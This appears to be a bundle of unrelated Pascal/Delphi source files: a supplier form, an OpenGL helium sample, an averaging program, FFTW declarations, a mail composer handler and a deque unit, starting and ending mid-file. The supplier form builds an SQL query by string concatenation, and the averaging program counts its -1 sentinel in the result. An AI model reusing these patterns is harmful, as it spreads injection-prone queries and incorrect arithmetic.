WriteString('Proveedores', 'Ficha', IntToStr(pgeDatos.ActivePageIndex));
Free;
end;
dmDatos.qryListados.Close;
dmDatos.cdsCliente.Active := false;
end;
procedure TfrmProveedores.rdgBuscarClick(Sender: TObject);
begin
case rdgBuscar.ItemIndex of
0: begin
pnlNombre.Visible := false;
pnlRfc.Visible := false;
pnlClave.Visible := true;
if(pgeGeneral.ActivePage = tabBusqueda) then
txtClaveBusq.SetFocus;
end;
1: begin
pnlRfc.Visible := false;
pnlClave.Visible := false;
pnlNombre.Visible := true;
if(pgeGeneral.ActivePage = tabBusqueda) then
txtNombreBusq.SetFocus;
end;
2: begin
pnlNombre.Visible := false;
pnlClave.Visible := false;
pnlRfc.Visible := true;
if(pgeGeneral.ActivePage = tabBusqueda) then
txtRfcBusq.SetFocus;
end;
end;
end;
procedure TfrmProveedores.btnSeleccionarClick(Sender: TObject);
begin
if (txtRegistros.Value > 0) then begin
pgeGeneral.ActivePageIndex := 0;
RecuperaDatos;
ActivaBuscar;
ActivaControles;
end;
end;
procedure TfrmProveedores.RecuperaDatos;
var
sCateg : String;
begin
with dmDatos.cdsCliente do begin
if(Active) then begin
iClave := FieldByName('Clave').AsInteger;
txtClave.Text := IntToStr(iClave);
txtNombre.Text := Trim(FieldByName('nombre').AsString);
txtNombreFiscal.Text := Trim(FieldByName('nombrefiscal').AsString);
txtRfc.Text := Trim(FieldByName('rfc').AsString);
txtCalle.Text := Trim(FieldByName('calle').AsString);
txtColonia.Text := Trim(FieldByName('colonia').AsString);
txtCp.Text := Trim(FieldByName('cp').AsString);
txtLocalidad.Text := Trim(FieldByName('localidad').AsString);
txtEstado.Text := Trim(FieldByName('estado').AsString);
txtEncargado.Text := Trim(FieldByName('encargado').AsString);
txtTelefono.Text := Trim(FieldByName('telefono').AsString);
txtFax.Text := Trim(FieldByName('fax').AsString);
txtCorreo.Text := Trim(FieldByName('ecorreo').AsString);
txtFechaCap.Text := FormatDateTime('dd/mm/yyyy',FieldByName('fecha_cap').AsDateTime);
surtido.Value := FieldByName('surtido').asfloat;
sCateg := BuscaCateg(FieldByName('categoria').AsString);
cmbCategorias.ItemIndex := cmbCategorias.Items.IndexOf(sCateg);
if(cmbCategorias.ItemIndex = -1) then
cmbCategorias.ItemIndex := 0;
CargaMovimientos;
end;
end;
end;
procedure TfrmProveedores.btnLimpiarClick(Sender: TObject);
begin
txtClaveBusq.Clear;
txtNombreBusq.Clear;
txtRfcBusq.Clear;
end;
procedure TfrmProveedores.mnuProvedClick(Sender: TObject);
begin
pgeGeneral.ActivePage := tabDatos;
ActivaBuscar;
end;
procedure TfrmProveedores.mnuBusquedaClick(Sender: TObject);
begin
pgeGeneral.ActivePage := tabBusqueda;
ActivaBuscar;
end;
procedure TfrmProveedores.Domicilio1Click(Sender: TObject);
begin
pgeDatos.ActivePage := tabDomicilio;
end;
procedure TfrmProveedores.Contacto1Click(Sender: TObject);
begin
pgeDatos.ActivePage := tabContacto;
end;
procedure TfrmProveedores.Movimientos1Click(Sender: TObject);
begin
pgeDatos.ActivePage := tabMovimientos;
end;
procedure TfrmProveedores.Salir1Click(Sender: TObject);
begin
Close;
end;
procedure TfrmProveedores.mnuAvanzaClick(Sender: TObject);
begin
if(dmDatos.cdsCliente.Active) then begin
dmDatos.cdsCliente.Next;
RecuperaDatos;
end;
end;
procedure TfrmProveedores.mnuRetrocedeClick(Sender: TObject);
begin
if(dmDatos.cdsCliente.Active) then begin
dmDatos.cdsCliente.Prior;
RecuperaDatos;
end;
end;
procedure TfrmProveedores.RecuperaCategs;
begin
with dmDatos.qryConsulta do begin
Close;
SQL.Clear;
SQL.Add('SELECT nombre FROM categorias WHERE tipo = ''P'' ORDER BY nombre');
Open;
cmbCategorias.Items.Clear;
while (not Eof) do begin
cmbCategorias.Items.Add(Trim(FieldByName('nombre').AsString));
Next;
end;
Close;
end;
end;
function TfrmProveedores.BuscaCateg(sCateg:String):String;
begin
if(Length(sCateg) > 0) then
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('SELECT nombre FROM categorias WHERE clave = ' + sCateg);
Open;
sCateg := Trim(FieldByName('nombre').AsString);
Close;
end;
Result := sCateg;
end;
procedure TfrmProveedores.VerificaCategs;
begin
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('SELECT * FROM categorias WHERE tipo = ''P''');
Open;
if(Eof) then begin
Close;
SQL.Clear;
SQL.Add('INSERT INTO categorias (nombre, tipo, fecha_umov, cuenta) VALUES');
SQL.Add('(''DEFAULT'',''P'',''' + FormatDateTime('mm/dd/yyyy',Date) + ''','''')');
ExecSQL;
end;
Close;
end;
end;
procedure TfrmProveedores.Salta(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
{Inicio (36), Fin (35), Izquierda (37), derecha (39), arriba (38), abajo (40)}
if(Key >= 30) and (Key <= 122) and (Key <> 35) and (Key <> 36) and not ((Key >= 37) and (Key <= 40)) then
if( Length((Sender as TEdit).Text) = (Sender as TEdit).MaxLength) then
SelectNext(Sender as TWidgetControl, true, true);
end;
procedure TfrmProveedores.grdListadoExit(Sender: TObject);
begin
btnBuscar.Default := true;
btnSeleccionar.Default := false;
end;
procedure TfrmProveedores.grdListadoEnter(Sender: TObject);
begin
btnBuscar.Default := false;
btnSeleccionar.Default := true;
end;
procedure TfrmProveedores.CargaMovimientos;
begin
with dmDatos.qryConsulta do begin
Close;
SQL.Clear;
SQL.Add('SELECT c.fecha AS fecha, c.documento, c.total ');
SQL.Add('FROM proveedores p LEFT JOIN compras c ON p.ultcompra = c.clave ');
SQL.Add('WHERE p.clave = ' + IntToStr(iClave));
Open;
if(Length(FieldByName('fecha').AsString) > 0) then begin
txtFechaCompra.Text := FormatDateTime('dd/mm/yyyy',FieldByName('fecha').AsDateTime);
txtDoctoCompra.Text := Trim(FieldByName('documento').AsString);
txtImporteCompra.Value := FieldByName('total').AsFloat;
end
else begin
txtFechaCompra.Clear;
txtDoctoCompra.Clear;
txtImporteCompra.Value := 0;
end;
Close;
end;
end;
procedure TfrmProveedores.FormCreate(Sender: TObject);
begin
RecuperaConfig;
end;
procedure TfrmProveedores.txtNombreExit(Sender: TObject);
begin
if(Length(txtNombreFiscal.Text) = 0) then
txtNombreFiscal.Text := txtNombre.Text;
end;
end.
|
unit App;
{ Based on 019_helium.cpp example from oglplus (http://oglplus.org/) }
{$INCLUDE 'Sample.inc'}
interface
uses
System.Classes,
Neslib.Ooogles,
Neslib.FastMath,
Sample.App,
Sample.Geometry;
type
TParticle = record
private
FProgram: TGLProgram;
FUniProjectionMatrix: TGLUniform;
FUniCameraMatrix: TGLUniform;
FUniModelMatrix: TGLUniform;
FUniLightPos: TGLUniform;
FVerts: TGLBuffer;
FNormals: TGLBuffer;
FIndices: TGLBuffer;
FSphere: TSphereGeometry;
public
procedure New(const AVertexShader, AFragmentShader: TGLShader);
procedure Delete;
procedure SetProjection(const AProjection: TMatrix4);
procedure SetLightAndCamera(const ALight: TVector3;
const ACamera: TMatrix4);
procedure Render(const AModel: TMatrix4);
end;
type
THeliumApp = class(TApplication)
private
FProton: TParticle;
FNeutron: TParticle;
FElectron: TParticle;
private
class function CreateFragmentShader(const ASource: RawByteString): TGLShader; static;
public
procedure Initialize; override;
procedure Render(const ADeltaTimeSec, ATotalTimeSec: Double); override;
procedure Shutdown; override;
procedure KeyDown(const AKey: Integer; const AShift: TShiftState); override;
procedure Resize(const AWidth, AHeight: Integer); override;
end;
implementation
uses
{$INCLUDE 'OpenGL.inc'}
System.UITypes,
Sample.Math;
const
// The common first part of all fragment shader sources
FS_PROLOGUE =
'precision mediump float;'#10+
'varying vec3 vertNormal;'#10+
'varying vec3 vertLight;'#10+
'varying vec3 vertViewNormal;'#10+
'void main(void)'#10+
'{'#10+
' float lighting = dot('#10+
' vertNormal, '#10+
' normalize(vertLight));'#10+
' float intensity = clamp('#10+
' 0.4 + lighting * 1.0,'#10+
' 0.0,'#10+
' 1.0);';
const
// The common last part of all fragment shader sources
FS_EPILOGUE =
' gl_FragColor = sig ? '#10+
' vec4(1.0, 1.0, 1.0, 1.0):'#10+
' vec4(color * intensity, 1.0);'#10+
'}';
const
// The part calculating the color for the protons
FS_PROTON =
' bool sig = ('#10+
' abs(vertViewNormal.x) < 0.5 &&'#10+
' abs(vertViewNormal.y) < 0.2 '#10+
' ) || ('#10+
' abs(vertViewNormal.y) < 0.5 &&'#10+
' abs(vertViewNormal.x) < 0.2 '#10+
' );'#10+
' vec3 color = vec3(1.0, 0.0, 0.0);';
const
// The part calculating the color for the neutrons
FS_NEUTRON =
' bool sig = false;'#10+
' vec3 color = vec3(0.5, 0.5, 0.5);';
const
// The part calculating the color for the electrons
FS_ELECTRON =
' bool sig = ('#10+
' abs(vertViewNormal.x) < 0.5 &&'#10+
' abs(vertViewNormal.y) < 0.2'#10+
' );'#10+
' vec3 color = vec3(0.0, 0.0, 1.0);';
{ THeliumApp }
class function THeliumApp.CreateFragmentShader(
const ASource: RawByteString): TGLShader;
begin
Result.New(TGLShaderType.Fragment, FS_PROLOGUE + ASource + FS_EPILOGUE);
Result.Compile;
end;
procedure THeliumApp.Initialize;
var
VertexShader: TGLShader;
begin
VertexShader.New(TGLShaderType.Vertex,
'uniform mat4 ProjectionMatrix, CameraMatrix, ModelMatrix;'#10+
'attribute vec3 Position;'#10+
'attribute vec3 Normal;'#10+
'varying vec3 vertNormal;'#10+
'varying vec3 vertLight;'#10+
'varying vec3 vertViewNormal;'#10+
'uniform vec3 LightPos;'#10+
'void main(void)'#10+
'{'#10+
' gl_Position = ModelMatrix * vec4(Position, 1.0);'#10+
' vertNormal = mat3(ModelMatrix) * Normal;'#10+
' vertViewNormal = mat3(CameraMatrix) * vertNormal;'#10+
' vertLight = LightPos - gl_Position.xyz;'#10+
' gl_Position = ProjectionMatrix * CameraMatrix * gl_Position;'#10+
'}');
VertexShader.Compile;
FProton.New(VertexShader, CreateFragmentShader(FS_PROTON));
FNeutron.New(VertexShader, CreateFragmentShader(FS_NEUTRON));
FElectron.New(VertexShader, CreateFragmentShader(FS_ELECTRON));
{ Don't need vertex shader anymore }
VertexShader.Delete;
gl.ClearColor(0.3, 0.3, 0.3, 0);
gl.ClearDepth(1);
gl.Enable(TGLCapability.DepthTest);
end;
procedure THeliumApp.KeyDown(const AKey: Integer; const AShift: TShiftState);
begin
{ Terminate app when Esc key is pressed }
if (AKey = vkEscape) then
Terminate;
end;
procedure THeliumApp.Render(const ADeltaTimeSec, ATotalTimeSec: Double);
var
Light: TVector3;
Nucl, Camera, Model, Rotate: TMatrix4;
begin
{ Clear the color and depth buffer }
gl.Clear([TGLClear.Color, TGLClear.Depth]);
Light.Init(8, 8, 8);
{ Set the matrix for camera orbiting the origin }
OrbitCameraMatrix(TVector3.Zero, 21.0, Radians(ATotalTimeSec * 15),
Radians((Pi * ATotalTimeSec * 0.30) * 45), Camera);
Nucl.InitRotation(Vector3(1, 1, 1), ATotalTimeSec * 2 * Pi);
FProton.SetLightAndCamera(Light, Camera);
Model.InitTranslation(1.4, 0, 0);
FProton.Render(Nucl * Model);
Model.InitTranslation(-1.4, 0, 0);
FProton.Render(Nucl * Model);
FNeutron.SetLightAndCamera(Light, Camera);
Model.InitTranslation(0, 0, 1);
FNeutron.Render(Nucl * Model);
Model.InitTranslation(0, 0, -1);
FNeutron.Render(Nucl * Model);
FElectron.SetLightAndCamera(Light, Camera);
Rotate.InitRotationY(ATotalTimeSec * Pi * 1.4);
Model.InitTranslation(10, 0, 0);
FElectron.Render(Rotate * Model);
Rotate.InitRotationX(ATotalTimeSec * Pi * 1.4);
Model.InitTranslation(0, 0, 10);
FElectron.Render(Rotate * Model);
end;
procedure THeliumApp.Resize(const AWidth, AHeight: Integer);
var
ProjectionMatrix: TMatrix4;
begin
inherited;
ProjectionMatrix.InitPerspectiveFovRH(Radians(45), AWidth / AHeight, 1, 50);
FProton.SetProjection(ProjectionMatrix);
FNeutron.SetProjection(ProjectionMatrix);
FElectron.SetProjection(ProjectionMatrix);
end;
procedure THeliumApp.Shutdown;
begin
{ Release resources }
FProton.Delete;
FNeutron.Delete;
FElectron.Delete;
end;
{ TParticle }
procedure TParticle.Delete;
begin
FProgram.Delete;
FVerts.Delete;
FNormals.Delete;
FIndices.Delete;
end;
procedure TParticle.New(const AVertexShader, AFragmentShader: TGLShader);
var
VertAttr: TGLVertexAttrib;
begin
FProgram.New(AVertexShader, AFragmentShader);
FProgram.Link;
FProgram.Use;
{ Don't need fragment shader anymore (vertex shader is shared though) }
AFragmentShader.Delete;
{ Initialize uniforms }
FUniProjectionMatrix.Init(FProgram, 'ProjectionMatrix');
FUniCameraMatrix.Init(FProgram, 'CameraMatrix');
FUniModelMatrix.Init(FProgram, 'ModelMatrix');
FUniLightPos.Init(FProgram, 'LightPos');
FSphere.Generate(18, 1.0);
{ Positions }
FVerts.New(TGLBufferType.Vertex);
FVerts.Bind;
FVerts.Data<TVector3>(FSphere.Positions);
VertAttr.Init(FProgram, 'Position');
VertAttr.SetConfig<TVector3>;
VertAttr.Enable;
{ Normals }
FNormals.New(TGLBufferType.Vertex);
FNormals.Bind;
FNormals.Data<TVector3>(FSphere.Normals);
VertAttr.Init(FProgram, 'Normal');
VertAttr.SetConfig<TVector3>;
VertAttr.Enable;
{ Indices }
FIndices.New(TGLBufferType.Index);
FIndices.Bind;
FIndices.Data<UInt16>(FSphere.Indices);
{ Don't need data anymore }
FSphere.Clear;
end;
procedure TParticle.Render(const AModel: TMatrix4);
begin
FProgram.Use;
FUniModelMatrix.SetValue(AModel);
FVerts.Bind;
FNormals.Bind;
FSphere.DrawWithBoundIndexBuffer;
end;
procedure TParticle.SetLightAndCamera(const ALight: TVector3;
const ACamera: TMatrix4);
begin
FProgram.Use;
FUniLightPos.SetValue(ALight);
FUniCameraMatrix.SetValue(ACamera);
end;
procedure TParticle.SetProjection(const AProjection: TMatrix4);
begin
FProgram.Use;
FUniProjectionMatrix.SetValue(AProjection);
end;
end.
|
program average(input, output);
const
END_OF_DATA = -1.0;
var
count : integer;
sum, current : real;
avg : real;
begin
current := 0.0;
sum := 0.0;
count := 0;
while current <> END_OF_DATA do
begin
read(current);
sum := sum + current;
count := succ(count);
end;
avg := sum / (count + 0.0);
writeln('AVERAGE: ', avg:5:3);
end.
|
unit Fftw3_Common;
interface
const
CFftwNoTimelimit = -1.0;
type
PFftwInt = ^Integer;
TFftwSign = (
fsForward = -1,
fsBackward = +1
);
TFftwReal2RealKind = (
fkReal2HalfComplex = 0,
fkHalfComplex2Real = 1,
fkDiscreteHartleyTransform = 2,
fkRealEvenDFT00 = 3,
fkRealEvenDFT01 = 4,
fkRealEvenDFT10 = 5,
fkRealEvenDFT11 = 6,
fkRealOddDFT00 = 7,
fkRealOddDFT01 = 8,
fkRealOddDFT10 = 9,
fkRealOddDFT11 = 10
);
PFftwReal2RealKind = ^TFftwReal2RealKind;
TFftwIoDim = record
DimensionSize: Integer; // dimension size
InputStride: Integer; // input stride
OutputStride: Integer; // output stride
end;
PFftwIoDim = ^TFftwIoDim;
TFftwIoDim64 = record
DimensionSize: NativeInt; // dimension size
InputStride: NativeInt; // input stride
OutputStride: NativeInt; // output stride
end;
PFftwIoDim64 = ^TFftwIoDim64;
TFftwWriteCharFunc = procedure (Data: AnsiChar; Ptr: Pointer); cdecl;
TFftwReadCharFunc = function (Ptr: Pointer): PAnsiChar; cdecl;
type
TFftwFlag = (
ffDestroyInput = 0,
ffUnaligned = 1,
ffConserveMemory = 2,
ffExhaustive = 3, // NoExhaustive InputStride default
ffPreserveInput = 4, // cancels FftwDestroyInput
ffPatient = 5, // Impatient InputStride default
ffEstimate = 6,
ffEstimatePatient = 7,
ffBelievePCost = 8,
ffNoDFT_R2HC = 9,
ffNoNonthreaded = 10,
ffNoBuffering = 11,
ffNoIndirectOp = 12,
ffAllowLargeGeneric = 13, // NoLargeGeneric InputStride default
ffNoRankSplits = 14,
ffNoVRankSplits = 15,
ffNoVRecurse = 16,
ffNoSIMD = 17,
ffNoSlow = 18,
ffNoFixedRadixLargeN = 19,
ffAllowPruning = 20,
ffWisdomOnly = 21
);
TFftwFlags = set of TFftwFlag;
implementation
end.
|
unit MsgComposerHandler;
interface
uses
Classes, VoyagerServerInterfaces, VoyagerInterfaces, Controls,
MsgComposerHandlerViewer, RDOInterfaces;
const
tidParam_MessageId = 'MsgId';
tidParam_Folder = 'Folder';
tidParm_To = 'To';
tidWorldName = 'WorldName';
const
tidCommand_New = 'NEW';
tidCommand_Reply = 'REPLY';
tidCommand_Forward = 'FORWARD';
tidCommand_Open = 'OPEN';
const
cmNew = 0;
cmReply = 1;
cmForward = 2;
cmOpen = 3;
const
tidMessageSeparator = '_______________________________________';
const
ConnectionTimeOut = 10000;
type
TMetaMsgComposerHandler =
class( TInterfacedObject, IMetaURLHandler )
public
constructor Create;
destructor Destroy; override;
private
function getName : string;
function getOptions : TURLHandlerOptions;
function getCanHandleURL( URL : TURL ) : THandlingAbility;
function Instantiate : IURLHandler;
private
fCommands : TStringList;
end;
TMsgComposerHandler =
class( TInterfacedObject, IURLHandler )
private
constructor Create(MetaHandler : TMetaMsgComposerHandler);
destructor Destroy; override;
private
fControl : TMsgComposerHandlerView;
private
function HandleURL( URL : TURL ) : TURLHandlingResult;
function HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
function getControl : TControl;
procedure setMasterURLHandler( URLHandler : IMasterURLHandler );
private
fMasterURLHandler : IMasterURLHandler;
fMetaHandler : TMetaMsgComposerHandler;
fClientView : IClientView;
fAccount : string;
fWorldName : string;
fMailServer : string;
fMailPort : integer;
fCommand : integer;
fHeaders : TStringList;
fMessageId : string;
fFrameId : string;
private
procedure SendEvent(Sender : TObject);
procedure SaveEvent(Sender : TObject);
procedure CloseEvent(Sender : TObject);
function GetConnection : IRDOConnectionInit;
function OpenMessage(Folder, MessageId : string; var Lines : TStringList) : boolean;
function GetCloseURL : string;
procedure ShowErrorMessage(const msg : string);
end;
const
tidHandlerName_MsgComposer = 'MsgComposer';
implementation
uses
SysUtils, MailProtocol, MailConsts, URLParser, ServerCnxHandler, ServerCnxEvents,
WinSockRDOConnection, RDOObjectProxy, Graphics, Literals;
// TMetaMsgComposerHandler
constructor TMetaMsgComposerHandler.Create;
begin
inherited;
fCommands := TStringList.Create;
fCommands.Add(tidCommand_New);
fCommands.Add(tidCommand_Reply);
fCommands.Add(tidCommand_Forward);
fCommands.Add(tidCommand_Open);
end;
destructor TMetaMsgComposerHandler.Destroy;
begin
fCommands.Free;
inherited;
end;
function TMetaMsgComposerHandler.getName : string;
begin
result := tidHandlerName_MsgComposer;
end;
function TMetaMsgComposerHandler.getOptions : TURLHandlerOptions;
begin
result := [hopCacheable];
end;
function TMetaMsgComposerHandler.getCanHandleURL( URL : TURL ) : THandlingAbility;
begin
result := 0;
end;
function TMetaMsgComposerHandler.Instantiate : IURLHandler;
begin
result := TMsgComposerHandler.Create(self);
end;
// TMsgComposerHandler
constructor TMsgComposerHandler.Create(MetaHandler : TMetaMsgComposerHandler);
begin
inherited Create;
fMetaHandler := MetaHandler;
fControl := TMsgComposerHandlerView.Create( nil );
fControl.OnMsgSend := SendEvent;
fControl.OnMsgSave := SaveEvent;
fControl.OnMsgClose := CloseEvent;
fHeaders := TStringList.Create;
end;
destructor TMsgComposerHandler.Destroy;
begin
fControl.Free;
inherited;
end;
function TMsgComposerHandler.HandleURL( URL : TURL ) : TURLHandlingResult;
var
From : string;
Subj : string;
Lines : TStringList;
procedure CopyLines(BeginMark : string);
var
i : integer;
begin
fControl.MsgBody.Lines.Clear;
for i := 0 to pred(Lines.Count) do
fControl.MsgBody.Lines.Add(BeginMark + Lines[i]);
end;
begin
fCommand := fMetaHandler.fCommands.IndexOf(GetURLAction(URL));
if fFrameId = ''
then fFrameId := GetParmValue(URL, 'frame_id'); // >>
case fCommand of
cmNew :
begin
fHeaders.Clear;
fControl.MsgBody.Lines.Clear;
fControl.DestAddr.Text := GetParmValue(URL, tidParm_To);
fControl.Subject.Text := '';
fMessageId := '';
result := urlHandled;
fControl.startNewMessage;
end;
cmReply :
begin
fMessageId := GetParmValue(URL, tidParam_MessageId);
if OpenMessage(GetParmValue(URL, tidParam_Folder), fMessageId, Lines)
then
try
if fHeaders.Values[tidFrom] <> ''
then fControl.DestAddr.Text := fHeaders.Values[tidFrom]
else fControl.DestAddr.Text := fHeaders.Values[tidFromAddr];
Subj := fHeaders.Values[tidSubject];
if pos(GetLiteral('Literal242'), UpperCase(Subj)) = 0
then fControl.Subject.Text := GetFormattedLiteral('Literal243', [Subj])
else fControl.Subject.Text := Subj;
CopyLines('> ');
fControl.MsgBody.Lines.Insert(0, '');
fControl.MsgBody.Lines.Insert(0, GetFormattedLiteral('Literal244', [Subj]));
fControl.MsgBody.Lines.Insert(0, GetFormattedLiteral('Literal245', [fControl.DestAddr.Text]));
fControl.MsgBody.Lines.Insert(0, tidMessageSeparator);
fControl.MsgBody.Lines.Insert(0, '');
fControl.startReplyMessage;
fHeaders.Clear;
result := urlHandled;
finally
Lines.Free;
end
else result := fMasterURLHandler.HandleURL(GetCloseURL);
end;
cmForward :
begin
fMessageId := GetParmValue(URL, tidParam_MessageId);
if OpenMessage(GetParmValue(URL, tidParam_Folder), fMessageId, Lines)
then
try
fControl.DestAddr.Text := '';
if fHeaders.Values[tidFrom] <> ''
then From := fHeaders.Values[tidFrom]
else From := fHeaders.Values[tidFromAddr];
Subj := fHeaders.Values[tidSubject];
if pos(GetLiteral('Literal246'), UpperCase(Subj)) = 0
then fControl.Subject.Text := GetFormattedLiteral('Literal247', [Subj])
else fControl.Subject.Text := Subj;
CopyLines('> ');
fControl.MsgBody.Lines.Insert(0, '');
fControl.MsgBody.Lines.Insert(0, GetFormattedLiteral('Literal248', [Subj]));
fControl.MsgBody.Lines.Insert(0, GetFormattedLiteral('Literal249', [From]));
fControl.MsgBody.Lines.Insert(0, tidMessageSeparator);
fControl.MsgBody.Lines.Insert(0, '');
fControl.startForwardMessage;
fHeaders.Clear;
result := urlHandled;
finally
Lines.Free;
end
else result := fMasterURLHandler.HandleURL(GetCloseURL);
end;
cmOpen :
begin
fHeaders.Clear;
fControl.MsgBody.Lines.Clear;
fMessageId := GetParmValue(URL, tidParam_MessageId);
if OpenMessage(tidFolder_Draft, fMessageId, Lines)
then
try
fControl.DestAddr.Text := fHeaders.Values[tidToAddr];
fControl.Subject.Text := fHeaders.Values[tidSubject];
CopyLines('');
fControl.startOpenMessage;
fHeaders.Clear;
result := urlHandled;
finally
Lines.Free;
end
else result := fMasterURLHandler.HandleURL(GetCloseURL);
end;
else result := fMasterURLHandler.HandleURL(GetCloseURL);
end;
end;
function TMsgComposerHandler.HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
begin
case EventId of
evnLogonStarted:
fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidHandlerName_MsgComposer + '&frame_Close=yes' );
end;
result := evnHandled;
end;
function TMsgComposerHandler.getControl : TControl;
begin
result := fControl;
end;
procedure TMsgComposerHandler.setMasterURLHandler( URLHandler : IMasterURLHandler );
begin
URLHandler.HandleEvent( evnAnswerClientView, fClientView );
fMasterURLHandler := URLHandler;
fAccount := fClientView.getMailAccount;
fWorldName := fClientView.getWorldName;
fMailServer := fClientView.getMailAddr;
fMailPort := fClientView.getMailPort;
end;
procedure TMsgComposerHandler.SendEvent(Sender : TObject);
var
Connection : IRDOConnectionInit;
ServerProxy : OleVariant;
Id : integer;
i : integer;
begin
try
Connection := GetConnection;
if Connection <> nil
then
begin
ServerProxy := TRDOObjectProxy.Create as IDispatch;
ServerProxy.SetConnection( Connection );
ServerProxy.BindTo(tidRDOHook_MailServer);
Id := ServerProxy.NewMail(fAccount, fControl.DestAddr.Text, fControl.Subject.Text);
if Id <> 0
then
begin
ServerProxy.BindTo(Id);
if fHeaders.Count > 0
then ServerProxy.AddHeaders(fHeaders.Text);
ServerProxy.WaitForAnswer := true;
for i := 0 to pred(fControl.MsgBody.Lines.Count) do
ServerProxy.AddLine(fControl.MsgBody.Lines[i]);
//ServerProxy.AddLine(fControl.MsgBody.Lines.Text);
ServerProxy.BindTo(tidRDOHook_MailServer);
if ServerProxy.Post(fWorldName, Id)
then
begin
if fCommand = cmOpen
then ServerProxy.DeleteMessage(fWorldName, fAccount, tidFolder_Draft, fMessageId);
fMasterURLHandler.HandleURL('?frame_Action=Refresh&frame_Id=MailView');
fMasterURLHandler.HandleURL(GetCloseURL);
end
else ShowErrorMessage(GetLiteral('Literal250'));
ServerProxy.CloseMessage(Id);
end;
end;
except
ShowErrorMessage(GetLiteral('Literal251'));
end;
end;
procedure TMsgComposerHandler.SaveEvent(Sender : TObject);
var
Connection : IRDOConnectionInit;
ServerProxy : OleVariant;
Id : integer;
i : integer;
begin
try
Connection := GetConnection;
if Connection <> nil
then
begin
ServerProxy := TRDOObjectProxy.Create as IDispatch;
ServerProxy.SetConnection( Connection );
ServerProxy.BindTo(tidRDOHook_MailServer);
Id := ServerProxy.NewMail(fAccount, fControl.DestAddr.Text, fControl.Subject.Text);
if Id <> 0
then
begin
ServerProxy.BindTo(Id);
if fHeaders.Count > 0
then
begin
fHeaders.Values[tidMessageId] := '';
ServerProxy.AddHeaders(fHeaders.Text);
end;
ServerProxy.WaitForAnswer := true;
for i := 0 to pred(fControl.MsgBody.Lines.Count) do
ServerProxy.AddLine(fControl.MsgBody.Lines[i]);
ServerProxy.BindTo(tidRDOHook_MailServer);
if fCommand = cmOpen
then ServerProxy.Delete(fWorldName, fAccount, tidFolder_Draft, fMessageId);
if not ServerProxy.Save(fWorldName, Id)
then ShowErrorMessage(GetLiteral('Literal252'));
ServerProxy.CloseMessage(Id);
end;
end;
except
ShowErrorMessage(GetLiteral('Literal253'));
end;
end;
procedure TMsgComposerHandler.CloseEvent(Sender : TObject);
begin
fMasterURLHandler.HandleURL(GetCloseURL);
end;
function TMsgComposerHandler.GetConnection : IRDOConnectionInit;
begin
result := TWinSockRDOConnection.Create('Mail Server');
result.Server := fMailServer;
result.Port := fMailPort;
if not result.Connect(ConnectionTimeOut)
then result := nil;
end;
function TMsgComposerHandler.OpenMessage(Folder, MessageId : string; var Lines : TStringList) : boolean;
var
Connection : IRDOConnectionInit;
ServerProxy : OleVariant;
Id : integer;
begin
try
Connection := GetConnection;
if Connection <> nil
then
begin
ServerProxy := TRDOObjectProxy.Create as IDispatch;
ServerProxy.SetConnection(Connection);
ServerProxy.BindTo(tidRDOHook_MailServer);
Id := ServerProxy.OpenMessage(fWorldName, fAccount, Folder, MessageId);
if Id <> 0
then
begin
ServerProxy.BindTo(Id);
fHeaders.Text := ServerProxy.GetHeaders(0);
Lines := TStringList.Create;
try
Lines.Text := ServerProxy.GetLines(0);
except
Lines.Free;
Lines := nil;
raise;
end;
ServerProxy.CloseMessage(Id);
result := true;
end
else result := false;
end
else result := false;
except
result := false;
end;
end;
function TMsgComposerHandler.GetCloseURL : string;
begin
result := '?' + 'frame_Id=' + fFrameId + '&frame_Close=Yes';
end;
procedure TMsgComposerHandler.ShowErrorMessage(const msg : string);
begin
fControl.StatusPanel.Color := clMaroon;
fControl.StatusPanel.Caption := GetFormattedLiteral('Literal254', [msg]);
end;
end.
|
{*********************************************************}
{* STDQUE.PAS 3.01 *}
{* Copyright (c) TurboPower Software Co., 1996-2000 *}
{* All rights reserved. *}
{*********************************************************}
{$I STDEFINE.INC}
{$IFNDEF WIN32}
{$C MOVEABLE,DEMANDLOAD,DISCARDABLE}
{$ENDIF}
{Notes:
This class is derived from TStList and allows all of
the inherited list methods to be used.
The "head" of the queue is element 0 in the list. The "tail" of the
queue is the last element in the list.
The dequeue can be used as a LIFO stack by calling PushTail and
PopTail, or as a FIFO queue by calling PushTail and PopHead.
}
unit STDQue;
{-DEQue class}
interface
uses
{$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs, {$ENDIF}
STConst, STBase, STList;
type
TStDQue = class(TStList)
public
procedure PushTail(Data : Pointer);
{-Add element at tail of queue}
procedure PopTail;
{-Delete element at tail of queue, destroys its data}
procedure PeekTail(var Data : Pointer);
{-Return data at tail of queue}
procedure PushHead(Data : Pointer);
{-Add element at head of queue}
procedure PopHead;
{-Delete element at head of queue, destroys its data}
procedure PeekHead(var Data : Pointer);
{-Return data at head of queue}
end;
{======================================================================}
implementation
procedure TStDQue.PeekHead(var Data : Pointer);
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
if Count = 0 then
Data := nil
else
Data := Head.Data;
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
{$ENDIF}
end;
procedure TStDQue.PeekTail(var Data : Pointer);
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
if Count = 0 then
Data := nil
else
Data := Tail.Data;
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
{$ENDIF}
end;
procedure TStDQue.PopHead;
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
if Count > 0 then
Delete(Head);
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
{$ENDIF}
end;
procedure TStDQue.PopTail;
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
if Count > 0 then
Delete(Tail);
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
{$ENDIF}
end;
procedure TStDQue.PushHead(Data : Pointer);
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
Insert(Data);
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
{$ENDIF}
end;
procedure TStDQue.PushTail(Data : Pointer);
begin
{$IFDEF ThreadSafe}
EnterCS;
try
{$ENDIF}
Append(Data);
{$IFDEF ThreadSafe}
finally
LeaveCS;
end;
